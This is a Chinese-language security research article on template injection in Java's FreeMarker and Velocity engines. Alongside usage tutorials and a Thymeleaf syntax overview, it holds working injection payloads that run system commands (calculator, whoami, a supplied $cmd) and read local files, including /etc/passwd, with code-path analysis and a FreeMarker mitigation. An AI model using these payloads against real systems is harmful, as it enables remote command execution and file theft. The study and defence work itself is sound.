首页 > 编程语言 >Java模版引擎注入(SSTI)漏洞研究

Java模版引擎注入(SSTI)漏洞研究

时间:2023-11-22 17:57:08浏览次数:39  
标签:java 模版 org velocity Velocity SSTI import Java 模板

一、FreeMarker模板注入安全风险

0x1:FreeMarker简介

FreeMarker 是一款Java语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

目前企业中,主要用Freemarker做静态页面或是页面展示

FreeMarker模板文件主要由如下4个部分组成:

  • (1)文本:直接输出的部分
  • (2)注释:使用<#-- ... -->格式做注释,里面内容不会输出
  • (3)插值:即${...}或#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出
  • (4)FTL指令:即FreeMarker指令,全称是:FreeMarker Template Language,和HTML标记类似,但名字前加#予以区分,不会输出。FreeMarker采用FreeMarker Template Language(FTL),它是简单的,专用的语言。但是FTL不是像PHP那样成熟的编程语言,这意味着需要其他真实变成语言中进行数据准备,比如数据库查询和业务运算,之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

下面是一个FreeMarker模板的例子,包含了以上所说的4个部分:

<html>
<head>
<title>Welcome to FreeMarker 中文官网</title><br> 
</head> 
<body>
<#-- 注释部分 --> 
<#-- 下面使用插值 --> 
<h1>Welcome ${user} !</h1><br> 
<p>We have these animals:<br> 
<u1>
<#-- 使用FTL指令 --> 
<#list animals as being><br> 
  <li>${being.name} for ${being.price} Euros<br> 
<#list>
<u1>
</body> 
</html> 

0x2:FreeMarker相比JSP的优点

FreeMarker与Web容器无关,即在Web运行时,它并不知道Servlet或HTTP,故此FreeMarker不仅可以用作表现层的实现技术,而且还可以用于生成XML,JSP或Java等各种文本文件。

在Java Web领域,FreeMarker是应用广泛的模板引擎,主要用于MVC中的view层,生成html展示数据给客户端,可以完全替代JSP。

FreeMarker的诞生是为了取代JSP。虽然JSP功能强大,可以写Java代码实现复杂的逻辑处理,但是页面会有大量业务逻辑,不利于维护和阅读,更不利于前后台分工,容易破坏MVC结构,所以舍弃JSP,选择使用FreeMarker是大势所趋。当前很多企业使用FreeMarker取代JSP,FreeMarker有众多的优点,如下所示:

  • (1)很好地分离表现层和业务逻辑。JSP功能很强大,它可以在前台编写业务逻辑代码,但这也带来了一个很大的弊端——页面内容杂乱,可读性差,这将会大大增加后期的维护难度。而FreeMarker职责明确,功能专注,仅仅负责页面的展示,从而去掉了繁琐的逻辑代码。FreeMarker的原理就是:模板+数据模型=输出,模板只负责数据在页面中的表现,不涉及任何的逻辑代码,而所有的逻辑都是由数据模型来处理的。用户最终看到的输出是模板和数据模型合并后创建的。
  • (2)提高开发效率。众所周知,JSP在第一次执行的时候需要转换成Servlet类,之后的每次修改都要编译和转换。这样就造成了每次修改都需要等待编译的时间,效率低下。而FreeMarker模板技术并不存在编译和转换的问题,所以就不会存在上述问题。相比而言,使用FreeMarker可以提高一定的开发效率。
  • (3)明确分工。JSP页面前后端的代码写到了一起,耦合度很高,前端开发需要熟悉后台环境,需要去调试,而后台开发人员需要去做不熟悉的前端界面设计。对两者而言,交替性的工作需要花费一定的学习成本,效率低下。而使用FreeMarker后,前后端完全分离,大家各干各的,互不影响。
  • (4)简单易用,功能强大。FreeMarker支持JSP标签,宏定义比JSP Tag方便,同时内置了大量常用功能,比如html过滤,日期金额格式化等等。FreeMarker代码十分简洁,上手快,使用非常方便。

总之,FreeMarker是一个模板引擎,一个基于模板生成文本输出的通用工具,使用纯Java编写,模板中没有业务逻辑,外部Java程序通过数据库操作等生成数据传入模板(template)中,然后输出页面。它能够生成各种文本:HTML、XML、RTF、Java源代码等等,而且不需要Servlet环境,并且可以从任何源载入模板,如本地文件、数据库等等。

0x3:FreeMarker开发案例

FreeMarker没有其他的任何依赖,仅仅依赖Java自身,把FreeMarker的jar包添加到工程中,Maven工程添加依赖。

<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->
<dependency>
    <groupId>org.freemarker</groupId>
    <artifactId>freemarker</artifactId>
    <version>2.3.31</version>
</dependency>

编写模板文件hello.ftl,

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
</body>
</html>

编写java文件,调用FreeMarker动态生成网页内容,

package org.example;


import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;

public class HelloFreeMarker {
    public static void main(String[] args) throws Exception{
        //1.创建配置类
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.设置模板所在的目录
        configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources"));
        //3.设置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加载模板
        Template template = configuration.getTemplate("hello.ftl");
        //5.创建数据模型
        Map map=new HashMap();
        map.put("name", "张三");
        map.put("message", "欢迎来到我的博客!");
        //6.创建Writer对象
        Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/hello.html"));
        //7.输出
        template.process(map, out);
        //8.关闭Writer对象
        out.close();
    }
}

0x4:相关危险函数

1、new

创建任意实现了TemplateModel接口的Java对象,同时在使用new的时候,还能够执行没有实现该接口类的静态初始化块。

FreeMarker模板注入poc中常用的两个类:

  • freemarker.template.utility.JythonRuntime
  • freemarker.template.utility.Execute

这两个类都继承了TemplateModel接口。

2、API

value?api 提供对 value 的 API(通常是 Java API)的访问,例如

  • value?api.someJavaMethod() 
  • value?api.someBeanProperty

可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。

但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。

0x5:漏洞风险面POC及漏洞代码分析 

exec_pcc.java
package org.example;

import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;

public class exec_pcc {
    public static void main(String[] args) throws Exception{
        //1.创建配置类
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.设置模板所在的目录
        configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources"));
        //3.设置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加载模板
        Template template = configuration.getTemplate("exec_poc1.ftl");
        //5.创建数据模型
        Map map=new HashMap();
        map.put("name", "张三");
        map.put("message", "欢迎来到我的博客!");
        //6.创建Writer对象
        Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html"));
        //7.输出
        template.process(map, out);
        //8.关闭Writer对象
        out.close();
    }
}

1、命令执行

1) freemarker.template.utility.Execute

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}

<h3>
    <#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
</h3>

</body>
</html>

从在freemarker\template\utility\Execute.class类的exec方法处下断点,

从调用栈可以看出,触发ftl风险代码的调用栈从 freemarker.template.process开始,

exec:75, Execute (freemarker.template.utility)
_eval:62, MethodCall (freemarker.core)
eval:101, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:100, DollarVariable (freemarker.core)
accept:63, DollarVariable (freemarker.core)
visit:334, Environment (freemarker.core)
visit:340, Environment (freemarker.core)
process:313, Environment (freemarker.core)
process:383, Template (freemarker.template)

process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。

在 process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。

在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,

而 visit() 方法又调用了 element.accept(),

跟进evalAndCoerceToString,该方法做的业务是将模型强制为字符串或标记,

跟进eval方法,

eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了。

一般的 _eval() 方法如下,

回到element.accept(),对于 ftl 表达式来说,accept 方法是这样的, 

跟进一下 accept 方法,

跟进 eval() 方法,

再跟进 _eval(), 

我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于,

Object result = targetMethod.exec(argumentStrings);
​
// 等价于
​
Object result = freemarker.template.utility.Execute.exec(argumentStrings);

而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。

命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,

至此,漏洞代码分析结束。

可以看到,这又是一个因为Java的多态、继承机制引发的注入风险。由于ftl中存在某些具有高风险操作的elements tag,这些elements tag的解析类通过继承实现了对应的eval接口,并且在实现类中引入了高风险的操作攻击面。

理论上,任何使用了FreeMarker的MVC框架都可能存在模板注入风险。 

这又是一个典型地功能丰富、存在风险面的SDK被误用,导致攻击面暴露的漏洞场景。

2)freemarker.template.utility.ObjectConstructor 

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}

<h3>
    <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","ifconfig").start()}
</h3>

</body>
</html>

3)freemarker.template.utility.JythonRuntime

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}

<h3>
    <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("whoami")
</h3>

</body>
</html>

4)文件读取

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}

<h3>
    <#assign is=object?api.class.getResourceAsStream("/Users/zhenghan/Downloads/test.jsp")>
    FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, </#list>]
</h3>

</body>
</html>
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

0x6:修复与防御

Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

设置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);,它会加入一个校验,将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor过滤。

package org.example;

import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;

public class exec_pcc {
    public static void main(String[] args) throws Exception{
        //1.创建配置类
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.设置模板所在的目录
        configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources"));
        //3.设置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加载模板
        Template template = configuration.getTemplate("exec_poc1.ftl");

        // 增加elements安全过滤
        configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

        //5.创建数据模型
        Map map=new HashMap();
        map.put("name", "张三");
        map.put("message", "欢迎来到我的博客!");
        //6.创建Writer对象
        Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html"));
        //7.输出
        template.process(map, out);
        //8.关闭Writer对象
        out.close();
    }
}

分析TemplateClassResolver.SAFER_RESOLVER,

从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

  1. UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
  2. SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。
  3. ALLOWS_NOTHING_RESOLVER:不能解析任何类。

可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析。 

参考链接:

https://blog.csdn.net/qq_41879343/article/details/108797346
http://www.freemarker.net/ 
https://www.cnblogs.com/dynasty/archive/2012/01/29/2331384.html
https://freemarker.apache.org/docs/ref_builtins.html 
https://zhuanlan.zhihu.com/p/585686528
https://xz.aliyun.com/t/12969

 

二、velocity模板注入安全风险

0x1:velocity简介

Velocity是一个基于Java的模板引擎,可以通过特定的语法获取在java对象的数据 , 填充到模板中,从而实现界面和java代码的分离。

Velocity有如下应用场景:

  • Web应用程序 : 作为为应用程序的视图, 展示数据。
  • 源代码生成  : Velocity可用于基于模板生成Java源代码。
  • 自动电子邮件 : 网站注册 , 认证等的电子邮件模板。
  • 网页静态化  : 基于velocity模板 , 生成静态网页。

Velocity模板的基本组成结构如下:

模块描述
app 主要封装了一些接口 , 暴露给使用者使用。主要有两个类,分别是Velocity(单例)和VelocityEngine。
Context 主要封装了模板渲染需要的变量
Runtime 整个Velocity的核心模块,Runtime模块会将加载的模板解析成语法树,Velocity调用mergeTemplate方法时会渲染整棵树,并输出最终的渲染结果。
RuntimeInstance RuntimeInstance类为整个Velocity渲染提供了一个单例模式,拿到了这个实例就可以完成渲染过程了。

0x2:Velocity开发案例

新建maven项目,引入velocity依赖,

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Velocity_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity-engine-core</artifactId>
            <version>2.2</version>
        </dependency>
    </dependencies>

</project>

在resources 目录下创建模板文件,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

hello , ${name} !

</body>
</html>

编写java代码主程序,

package org.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.FileWriter;
import java.io.IOException;
import java.util.Properties;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        // 1、设置velocity资源加载器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、创建velocity容器
        VelocityContext context = new VelocityContext();
        context.put("name", "Hello Velocity");
        // 4、加载velocity模板
        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
        // 5、合并数据到模板
        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
        tpl.merge(context, fw);
        // 6、释放资源
        fw.close();
    }
}

Velocity解决了如何在后台程序和网页之间传递数据的问题,后台代码和视图之间相互独立,一方的修改不影响另一方,他们之间是通过环境变量(Context)来实现的,网页制作一方和后台程序一方相互约定好对所传递变量的命名约定,比如上面程序例子中的 name变量,它们在网页上就是$name 。

只要双方约定好了变量名字,那么双方就可以独立工作了。无论页面如何变化,只要变量名不变,那么后台程序就无需改动,前台网页也可以任意由网页制作人员修改。这就是Velocity的工作原理。

0x3:Velocity基础语法

Velocity Template Language (VTL) , 是Velocity 中提供的一种模版语言 , 旨在提供最简单和最干净的方法来将动态内容合并到网页中。

VTL的语句分为4大类:

  • 注释
  • 非解析内容
  • 引用
  • 指令

我们关注其中的引用和指令语法。

1、引用

引用语句就是对引擎上下文对象中的属性进行操作。 

1)变量引用

语法描述
$变量名 若上下文中没有对应的变量,则输出字符串"$变量名"
${变量名} 若上下文中没有对应的变量,则输出字符串"${变量名}"
$!变量名 若上下文中没有对应的变量,则输出空字符串""
$!{变量名} 若上下文中没有对应的变量,则输出空字符串""

2)属性引用

语法描述
$变量名.属性 若上下文中没有对应的变量,则输出字符串"$变量名.属性"
${变量名.属性} 若上下文中没有对应的变量,则输出字符串"${变量名.属性}"
$!变量名.属性 若上下文中没有对应的变量,则输出字符串""
$!{变量名.属性} 若上下文中没有对应的变量,则输出字符串""

3)方法引用

方法引用实际就是指方法调用操作,方法的返回值将输出到最终结果中。

语法描述
$变量名.方法([入参1[, 入参2]*]?) 若上下文中没有对应的变量,则输出字符串"$变量名.方法([入参1[, 入参2]*]?"
${变量名.方法([入参1[, 入参2]*]?)} 若上下文中没有对应的变量,则输出字符串"${变量名.方法([入参1[, 入参2]*]?)}"
$!变量名.方法([入参1[, 入参2]*]?) 若上下文中没有对应的变量,则输出字符串""
$!{变量名.方法([入参1[, 入参2]*]?)} 若上下文中没有对应的变量,则输出字符串""

修改一下java主程序代码,

package org.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.FileWriter;
import java.io.IOException;
import java.util.Date;
import java.util.Properties;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        // 1、设置velocity资源加载器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、创建velocity容器
        VelocityContext context = new VelocityContext();
        // 向容器中放入数据
        context.put("now", new Date());
        // 4、加载velocity模板
        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
        // 5、合并数据到模板
        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
        tpl.merge(context, fw);
        // 6、释放资源
        fw.close();
    }
}

修改模板文件,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <h1>方法引用</h1>
    常规语法:$now.getTime()
    正规语法:${now.getTime()}

</body>
</html>

2、指令

指令主要用于定义重用模块、引入外部资源、流程控制。指令以 # 作为起始字符。

0x4:漏洞风险面POC

1、web程序中弹出msg

主程序,

package org.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.FileWriter;
import java.io.IOException;
import java.util.Date;
import java.util.Properties;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        // 1、设置velocity资源加载器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、创建velocity容器
        VelocityContext context = new VelocityContext();
        // 向容器中放入数据
        context.put("msg", "外部输入的消息");
        // 4、加载velocity模板
        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
        // 5、合并数据到模板
        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
        tpl.merge(context, fw);
        // 6、释放资源
        fw.close();
    }
}

模板文件,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    #if($msg)

    <script>
        alert('$!msg');
    </script>

    #end

</body>
</html>

2、命令执行

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    #set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

    #set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('whoami'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

</body>
</html>

修改java主程序,

package org.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.FileWriter;
import java.io.IOException;
import java.util.Date;
import java.util.Properties;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        // 1、设置velocity资源加载器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、创建velocity容器
        VelocityContext context = new VelocityContext();
        // 向容器中放入数据
        context.put("cmd", "whoami");
        // 4、加载velocity模板
        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
        // 5、合并数据到模板
        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
        tpl.merge(context, fw);
        // 6、释放资源
        fw.close();
    }
}

修改模板文件,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

    #set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
    $scan.next()
#end

</body>
</html>

0x5:漏洞代码分析 

接下来简单分析一下velocity存在漏洞的风险代码原理。

package org.example;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.IOException;
import java.io.StringWriter;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        String username = "外部攻击者可控输入";
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Little Hann");
        ctx.put("phone", "123456789");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        // 将模板字符串和上下文对象传递给Velocity引擎进行解析和渲染
        Velocity.evaluate(ctx, out, "test", templateString);

        // 输出velocity渲染结果
        System.out.println(out.toString());

    }
}

模拟velocity SSTI注入攻击,

package org.example;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.IOException;
import java.io.StringWriter;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        String username = "#set($e=\"e\")\n" +
                "$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"open -a Calculator\")";
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Little Hann");
        ctx.put("phone", "123456789");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        // 将模板字符串和上下文对象传递给Velocity引擎进行解析和渲染
        Velocity.evaluate(ctx, out, "test", templateString);

        // 输出velocity渲染结果
        System.out.println(out.toString());

    }
}

根据测试程序,首先会进入Velocity类的init方法,

在该方法中,会调用RuntimeSingleton类的init方法,这个方法主要是对模板引擎的初始化,比如设置属性、初始化日志系统、资源管理器、指令等。

接下来回到主程序中,实例化VelocityContext,并将三对键值对put进去,之后调用Velocity类的evaluate方法,此时templateString的值为,

Hello, #set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator") | Full name: $name, phone: $phone, email: $email

直接进入了RuntimeInstance的evaluate方法,

进入重载的evaluate方法,

这个方法会调用RuntimeInstance类的parse方法进行解析。

经过两重调用来到org\apache\velocity\runtime\parser\Parser.class的parse方法。

完成模板文件的parse工作后,生成ast语法树结构,

到目前为止,解析工作完成,接下来就是渲染工作了,回到RuntimeInstance类的evaluate方法。

进入render方法中进行渲染,

这里从context取值去做模板解析,输出到output writer当中在ASTMethod类的execute方法中反射调用runtime,

至此,通过反射,实现了代码执行。 

参考链接:

https://blog.csdn.net/lovesummerforever/article/details/47378211
https://www.cnblogs.com/jiarui-zjb/p/8227473.html
https://velocity.apache.org/
https://juejin.cn/post/7112775057704747045#heading-5 
https://www.cnblogs.com/CoLo/p/16717761.html
https://www.cnblogs.com/nice0e3/p/16218857.html
https://anemone.top/vulnresearch-Solr_Velocity_injection/
https://paper.seebug.org/1107/

 

三、Thymeleaf模板注入安全风险

0x1:Thymeleaf简介

Thymeleaf 是一款用于渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。

与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面,Thymeleaf 支持 HTML 原型,其文件后缀为“.html”,因此它可以直接被浏览器打开,此时浏览器会忽略未定义的 Thymeleaf 标签属性,展示 thymeleaf 模板的静态页面效果;当通过 Web 应用程序访问时,Thymeleaf 会动态地替换掉静态内容,使页面动态显示。

Thymeleaf 通过在 html 标签中,增加额外属性来达到“模板+数据”的展示方式,示例代码如下。

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<!--th:text 为 Thymeleaf 属性,用于在展示文本-->
<h1 th:text="迎您来到Thymeleaf">欢迎您访问静态页面 HTML</h1>
</body>
</html>

当直接使用浏览器打开时,浏览器展示结果如下。

欢迎您访问静态页面HTML

当通过 Web 应用程序访问时,浏览器展示结果如下。

迎您来到Thymeleaf

总体来说,Thymeleaf具体如下特点:

  • 动静结合:Thymeleaf 既可以直接使用浏览器打开,查看页面的静态效果,也可以通过 Web 应用程序进行访问,查看动态页面效果。
  • 开箱即用:Thymeleaf 提供了 Spring 标准方言以及一个与 SpringMVC 完美集成的可选模块,可以快速的实现表单绑定、属性编辑器、国际化等功能。
  • 多方言支持:它提供了 Thymeleaf 标准和 Spring 标准两种方言,可以直接套用模板实现 JSTL、OGNL 表达式,必要时,开发人员也可以扩展和创建自定义的方言。
  • 与 SpringBoot 完美整合:SpringBoot 为 Thymeleaf 提供了的默认配置,并且还为 Thymeleaf 设置了视图解析器,因此 Thymeleaf 可以与 Spring Boot 完美整合。

0x2:Thymeleaf 语法规则 

在使用 Thymeleaf 之前,首先要在页面的 html 标签中声明名称空间,示例代码如下。

xmlns:th="http://www.thymeleaf.org"

在 html 标签中声明此名称空间,可避免编辑器出现 html 验证错误,但这一步并非必须进行的,即使我们不声明该命名空间,也不影响 Thymeleaf 的使用。

Thymeleaf 作为一种模板引擎,它拥有自己的语法规则。Thymeleaf 语法分为以下 2 类:

  • 标准表达式语法
  • th 属性

1、标准表达式语法

Thymeleaf 模板引擎支持多种表达式:
  • 变量表达式:${...}
  • 选择变量表达式:*{...}
  • 链接表达式:@{...}
  • 国际化表达式:#{...}
  • 片段引用表达式:~{...}

2、th 属性

Thymeleaf 还提供了大量的 th 属性,这些属性可以直接在 HTML 标签中使用,其中常用 th 属性及其示例如下表。

属性描述示例
th:id 替换 HTML 的 id 属性
  • <input id="html-id" th:id="thymeleaf-id" />
th:text 文本替换,转义特殊字符
  • <h1 th:text="hello,bianchengbang" >hello</h1>
th:utext 文本替换,不转义特殊字符
  • <div th:utext="'<h1>欢迎来到编程帮!</h1>'" >欢迎你</div>
th:object 在父标签选择对象,子标签使用 *{…} 选择表达式选取值。
没有选择对象,那子标签使用选择表达式和 ${…} 变量表达式是一样的效果。
同时即使选择了对象,子标签仍然可以使用变量表达式。
  • <div th:object="${session.user}" >
  • <p th:text="*{fisrtName}">firstname</p>
  • </div>
th:value 替换 value 属性
  • <input th:value = "${user.name}" />
th:with 局部变量赋值运算
  • <div th:with="isEvens = ${prodStat.count}%2 == 0" th:text="${isEvens}"></div>
th:style 设置样式
  • <div th:style="'color:#F00; font-weight:bold'">编程帮 www.biancheng.net</div>
th:onclick 点击事件
  • <td th:onclick = "'getInfo()'"></td>
th:each 遍历,支持 Iterable、Map、数组等。
 
  • <table>
  • <tr th:each="m:${session.map}">
  • <td th:text="${m.getKey()}"></td>
  • <td th:text="${m.getValue()}"></td>
  • </tr>
  • </table>
th:if 根据条件判断是否需要展示此标签
  • <a th:if ="${userId == collect.userId}">
th:unless 和 th:if 判断相反,满足条件时不显示
  • <div th:unless="${m.getKey()=='name'}" ></div>
th:switch 与 Java 的 switch case语句类似
通常与 th:case 配合使用,根据不同的条件展示不同的内容
  • <div th:switch="${name}">
  • <span th:case="a">编程帮</span>
  • <span th:case="b">www.biancheng.net</span>
  • </div>
th:fragment 模板布局,类似 JSP 的 tag,用来定义一段被引用或包含的模板片段
  • <footer th:fragment="footer">插入的内容</footer>
th:insert 布局标签;
将使用 th:fragment 属性指定的模板片段(包含标签)插入到当前标签中。
  • <div th:insert="commons/bar::footer"></div>
th:replace 布局标签;
使用 th:fragment 属性指定的模板片段(包含标签)替换当前整个标签。
  • <div th:replace="commons/bar::footer"></div>
th:selected select 选择框选中
  • <select>
  • <option>---</option>
  • <option th:selected="${name=='a'}">
  • 编程帮
  • </option>
